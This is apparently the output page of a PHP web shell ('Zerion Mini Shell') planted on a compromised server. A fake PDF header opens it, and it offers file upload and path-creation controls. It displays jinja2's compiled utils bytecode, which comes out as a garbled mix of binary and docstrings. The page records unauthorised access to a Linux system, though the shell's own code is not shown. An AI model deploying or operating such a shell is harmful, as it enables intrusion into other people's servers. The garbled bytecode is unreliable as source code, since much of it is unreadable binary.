%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /snap/core/17212/usr/lib/python3/dist-packages/jinja2/__pycache__/
Upload File :
Create Path :
Current File : //snap/core/17212/usr/lib/python3/dist-packages/jinja2/__pycache__/utils.cpython-35.pyc



KP�gHA�
@sdZddlZddlZddlmZddlmZddlmZ	ddl
mZddlm
Z
mZmZmZedfd	d
d�i��Ze�ZdjZd
d�Zdd�Zdd�Zdd�Zdd�Zdd�Zdd�Zddd�Zddd �Zd!d"�Z dd#d$�Z!dddd%d&�Z"d'd(d)d*d+d,�Z#d-dd.d/�Z$Gd0d1�d1e%�Z&y!dd2lm'Z'e'j(e&�Wne)k
r�YnXeGd3d4�d4e%��Z*Gd5d6�d6e%�Z+dd7l,m-Z-m.Z.m/Z/dS)8z�
    jinja2.utils
    ~~~~~~~~~~~~

    Utility functions.

    :copyright: (c) 2010 by the Jinja Team.
    :license: BSD, see LICENSE for more details.
�N)�deque)�
ascii_letters)�digits)�Lock)�	text_type�string_types�implements_iterator�	url_quoteZMissingType�__repr__cCsdS)N�missing�)�xrr�./usr/lib/python3/dist-packages/jinja2/utils.py�<lambda>sr�cCs
d|_|S)a+This decorator can be used to mark a function or method context callable.
    A context callable is passed the active :class:`Context` as first argument when
    called from the template.  This is useful if a function wants to get access
    to the context or functions provided on the context object.  For example
    a function that returns a sorted list of template variables the current
    template exports could look like this::

        @contextfunction
        def get_exported_names(context):
            return sorted(context.exported_vars)
    T)�contextfunction)�frrrrs	rcCs
d|_|S)aGThis decorator can be used to mark a function or method as an eval
    context callable.  This is similar to the :func:`contextfunction`
    but instead of passing the context, an evaluation context object is
    passed.  For more information about the eval context, see
    :ref:`eval-context`.

    .. versionadded:: 2.4
    T)�evalcontextfunction)rrrrr-s		rcCs
d|_|S)z�This decorator can be used to mark a function or method as environment
    callable.  This decorator works exactly like the :func:`contextfunction`
    decorator just that the first argument is the active :class:`Environment`
    and not context.
    T)�environmentfunction)rrrrr:s	rcCstj|j�|S)z%Marks the function as internally used)�
internal_code�add�__code__)rrrr�internalcodeDsrcCsddlm}t||�S)a�Check if the object passed is undefined.  This does nothing more than
    performing an instance check against :class:`Undefined` but looks nicer.
    This can be used for custom filters or tests that want to react to
    undefined variables.  For example a custom default filter can look like
    this::

        def default(var, default=''):
            if is_undefined(var):
                return default
            return var
    r)�	Undefined)Zjinja2.runtimer�
isinstance)�objrrrr�is_undefinedJsrcCsx|D]}qWdS)z4Consumes an iterable without doing anything with it.Nr)�iterableZeventrrr�consumeZs
rcCs8ddlm}ddlm}|j�|j�dS)a"Jinja2 keeps internal caches for environments and lexers.  These are
    used so that Jinja2 doesn't have to recreate environments and lexers all
    the time.  Normally you don't have to care about that but if you are
    messuring memory consumption you may want to clean the caches.
    r)�_spontaneous_environments)�_lexer_cacheN)Zjinja2.environmentrZjinja2.lexerr �clear)rr rrr�clear_caches`s
r"FcCs�y�d|kr*|jdd�\}}nKd|krk|jd�}dj|dd��}|d}n
t|�Stt|dd|g�|�SWn!ttfk
r�|s��YnXdS)a�Imports an object based on a string.  This is useful if you want to
    use import paths as endpoints or something similar.  An import path can
    be specified either in dotted notation (``xml.sax.saxutils.escape``)
    or with a colon as object delimiter (``xml.sax.saxutils:escape``).

    If the `silent` is True the return value will be `None` if the import
    fails.

    :return: imported object
    �:��.N���r&)�split�join�
__import__�getattr�ImportError�AttributeError)Zimport_nameZsilent�moduler�itemsrrr�
import_stringls

#r/�rbcCsayt||�SWnItk
r\}z)|jtjtjtjfkrJ�WYdd}~XnXdS)zZReturns a file descriptor for the filename if that file exists,
    otherwise `None`.
    N)�open�IOError�errno�ENOENTZEISDIRZEINVAL)�filename�mode�errr�open_if_exists�s
!r8cCsc|dkrdS|tkr dS|jjdkrA|jj}n|jjd|jj}d|S)	z�Returns the name of the object's type.  For some recognized
    singletons the name of the object is returned instead. (For
    example for `None` and `Ellipsis`).
    N�None�Ellipsis�__builtin__�builtinsr%z	%s object)r;zbuiltins)r:�	__class__�
__module__�__name__)r�namerrr�object_type_repr�srAcCsWy$ddlm}||d|�SWn,tk
rRddlm}||�SYnXdS)zYPrettyprint an object.  Either use the `pretty` library or the
    builtin `pprint`.
    r)�pretty�verbose)�pformatN)rBr+�pprintrD)rrCrBrDrrrrD�s
rDcCsn|dd�}tjdtt|���}|r9dp<d}|dk	rgt|t�rgd|}nd}x�t|�D]�\}}	d|	d}
}}tjd|�}
|
r�|
j�}
||
j	�d�}|j
d�rtjd|�}
|
r|
j�}|d|
j��}|j
d�s�d|kr�|j
d�r�|j
d�r�t|�dkr�|dttkr�|j
d�s�|j
d�s�|j
d�r�d|||||�f}|j
d�s�|j
d�rd|||||�f}d|krK|j
d�rKd|krKtjd|�rKd||f}|
||||<qzWdj|�S)aConverts any URLs in text into clickable links. Works on http://,
    https:// and www. links. Links can have trailing punctuation (periods,
    commas, close-parens) and leading punctuation (opening parens) and
    it'll still do the right thing.

    If trim_url_limit is not None, the URLs in link text will be limited
    to trim_url_limit characters.

    If nofollow is True, the URLs in link text will get a rel="nofollow"
    attribute.

    If target is not None, a target attribute will be added to the link.
    cSs<|dk	r8|d|�t|�|kr1dp4dp;|S)Nz...r)�len)r
�limitrrrr�s%zurlize.<locals>.<lambda>z(\s+)z rel="nofollow"rNz target="%s"z
^([(<]|&lt;)+�)�>r%�,�
�&gt;z([)>.,\n]|&gt;)+$zwww.�@zhttp://zhttps://rz.orgz.netz.comz<a href="http://%s"%s%s>%s</a>z<a href="%s"%s%s>%s</a>r#z^\S+@\w[\w.-]*\.\w+$z<a href="mailto:%s">%s</a>)rHrIr%rJrKrL)�rer'r�escaperr�	enumerate�match�group�end�endswith�search�start�
startswithrF�_letters�_digitsr()�textZtrim_url_limitZnofollow�targetZtrim_url�wordsZ
nofollow_attrZtarget_attr�i�word�headZmiddle�tailrQrrr�urlize�sX
ra�T��dcCs�ddlm}ddlm}m}|j�}g}xnt|�D]`}	d}
d}}d}
d}g}x�tt|||���D]�\}}	x#||�}
|
|kr�|
}Pq�W|
r�|
j�}
d}
||dd�|kr|}|d	7}|
d
7}
||dd�|kr9|}}|
d
7}
d}
|j	|
�q�Wdj
|�}|jd
�r|dd�d
}n|jd
�s�|d
7}|j	|�qEW|s�dj
|�Stdj
dd�|D���S)z+Generate some lorem ipsum for the template.r)�LOREM_IPSUM_WORDS)�choice�	randrangeTNF���rJ�
rcr%� r$z

rKcss|]}dt|�VqdS)z	<p>%s</p>N)rO)�.0r
rrr�	<genexpr>.sz'generate_lorem_ipsum.<locals>.<genexpr>r&)
Zjinja2.constantsreZrandomrfrgr'�rangerP�
capitalize�appendr(rT�Markup)�nZhtml�min�maxrerfrgr\�result�_Znext_capitalizedZ
last_commaZ
last_fullstopr^Zlast�p�idxrrr�generate_lorem_ipsumsJ
(





rzzutf-8cCs|t|t�st|�}t|t�r9|j|�}|rEdpHd}tt||��}|rx|jdd�}|S)a&URL escapes a single bytestring or unicode string with the
    given charset if applicable to URL safe quoting under all rules
    that need to be considered under all supported Python versions.

    If non strings are provided they are converted to their unicode
    representation first.
    ��/z%20�+)rrr�encoder	�replace)r�charsetZfor_qsZsafe�rvrrr�unicode_urlencode1sr�c@s0eZdZdZdd�Zdd�Zdd�Zdd	�Zd
d�Zdd
�Z	ddd�Z
ddd�Zdd�Zdd�Z
dd�Zdd�Zdd�Zdd�Zdd �Zd!d"�Zd#d$�Zd%d&�Zd'd(�Zd)d*�Zd+d,�ZeZd-d.�Ze	ZdS)/�LRUCachez"A simple LRU Cache implementation.cCs,||_i|_t�|_|j�dS)N)�capacity�_mappingr�_queue�	_postinit)�selfr�rrr�__init__Ks		zLRUCache.__init__cCsL|jj|_|jj|_|jj|_t�|_|jj	|_
dS)N)r��popleft�_popleft�popZ_pop�remove�_remover�_wlockrq�_append)r�rrrr�Qs
zLRUCache._postinitcCsd|jd|jd|jiS)Nr�r�r�)r�r�r�)r�rrr�__getstate__Ys		zLRUCache.__getstate__cCs|jj|�|j�dS)N)�__dict__�updater�)r��drrr�__setstate__`szLRUCache.__setstate__cCs
|jfS)N)r�)r�rrr�__getnewargs__dszLRUCache.__getnewargs__cCs;|j|j�}|jj|j�t|j�|_|S)z&Return a shallow copy of the instance.)r=r�r�r�rr�)r�r�rrr�copygsz
LRUCache.copyNcCs)y||SWntk
r$|SYnXdS)z/Return an item from the cache dict or `default`N)�KeyError)r��key�defaultrrr�getns
zLRUCache.getcCsU|jj�z3y||SWn tk
r>|||<|SYnXWd|jj�XdS)zvSet `default` if the key is not in the cache otherwise
        leave unchanged. Return the value of this key.
        N)r��acquirer��release)r�r�r�rrr�
setdefaultus



zLRUCache.setdefaultc
Cs@|jj�z|jj�|jj�Wd|jj�XdS)zClear the cache.N)r�r�r�r!r�r�)r�rrrr!�s


zLRUCache.clearcCs
||jkS)z$Check if a key exists in this cache.)r�)r�r�rrr�__contains__�szLRUCache.__contains__cCs
t|j�S)z%Return the current size of the cache.)rFr�)r�rrr�__len__�szLRUCache.__len__cCsd|jj|jfS)Nz<%s %r>)r=r?r�)r�rrrr
�s	zLRUCache.__repr__cCs}|jj�z[|j|}|jd|krcy|j|�Wntk
rUYnX|j|�|SWd|jj�XdS)z�Get an item from the cache. Moves the item up so that it has the
        highest priority then.

        Raise a `KeyError` if it does not exist.
        r$Nr&)r�r�r�r�r��
ValueErrorr�r�)r�r�r�rrr�__getitem__�s



zLRUCache.__getitem__c
Cs�|jj�ze||jkr/|j|�n(t|j�|jkrW|j|j�=|j|�||j|<Wd|jj�XdS)zhSets the value for an item. Moves the item up so that it
        has the highest priority then.
        N)	r�r�r�r�rFr�r�r�r�)r�r��valuerrr�__setitem__�s

zLRUCache.__setitem__cCsV|jj�z4|j|=y|j|�Wntk
r?YnXWd|jj�XdS)z]Remove an item from the cache dict.
        Raise a `KeyError` if it does not exist.
        N)r�r�r�r�r�r�)r�r�rrr�__delitem__�s


	zLRUCache.__delitem__cs0�fdd�t�j�D�}|j�|S)zReturn a list of items.cs#g|]}|�j|f�qSr)r�)rmr�)r�rr�
<listcomp>�s	z"LRUCache.items.<locals>.<listcomp>)�listr��reverse)r�rvr)r�rr.�s"
zLRUCache.itemscCst|j��S)zIterate over all items.)�iterr.)r�rrr�	iteritems�szLRUCache.iteritemscCsdd�|j�D�S)zReturn a list of all values.cSsg|]}|d�qS)r$r)rmr
rrrr��s	z#LRUCache.values.<locals>.<listcomp>)r.)r�rrr�values�szLRUCache.valuescCst|j��S)zIterate over all values.)r�r�)r�rrr�	itervalue�szLRUCache.itervaluecCs
t|�S)z7Return a list of all keys ordered by most recent usage.)r�)r�rrr�keys�sz
LRUCache.keyscCstt|j��S)z[Iterate over all keys in the cache dict, ordered by
        the most recent usage.
        )�reversed�tupler�)r�rrr�iterkeys�szLRUCache.iterkeyscCstt|j��S)zVIterate over the values in the cache dict, oldest items
        coming first.
        )r�r�r�)r�rrr�__reversed__�szLRUCache.__reversed__)r?r>�__qualname__�__doc__r�r�r�r�r�r�r�r�r!r�r�r
r�r�r�r.r�r�r�r�r��__iter__r��__copy__rrrrr�Ds2	r�)�MutableMappingc@sLeZdZdZdd�Zdd�Zedd��Zdd	�Zd
S)�CyclerzA cycle helper for templates.cGs)|std��||_|j�dS)Nz$at least one item has to be provided)�RuntimeErrorr.�reset)r�r.rrrr�s	zCycler.__init__cCs
d|_dS)zResets the cycle.rN)�pos)r�rrrr�szCycler.resetcCs|j|jS)zReturns the current item.)r.r�)r�rrr�currentszCycler.currentcCs*|j}|jdt|j�|_|S)z#Goes one item ahead and returns it.r$)r�r�rFr.)r�r�rrr�__next__s	zCycler.__next__N)	r?r>r�r�r�r��propertyr�r�rrrrr��s
r�c@s1eZdZdZddd�Zdd�ZdS)�JoinerzA joining helper for templates.z, cCs||_d|_dS)NF)�sep�used)r�r�rrrr�s	zJoiner.__init__cCs|jsd|_dS|jS)NTr)r�r�)r�rrr�__call__s		zJoiner.__call__N)r?r>r�r�r�r�rrrrr�sr�)rrrO�soft_unicode)0r�rNr3�collectionsr�stringrrXrrYZ	threadingrZjinja2._compatrrrr	�typer�setrr(�concatrrrrrrr"r/r8rArDrarzr��objectr�r��registerr+r�r�Z
markupsaferrrOr�rrrr�<module>
sD"!		

R1�


Zerion Mini Shell 1.0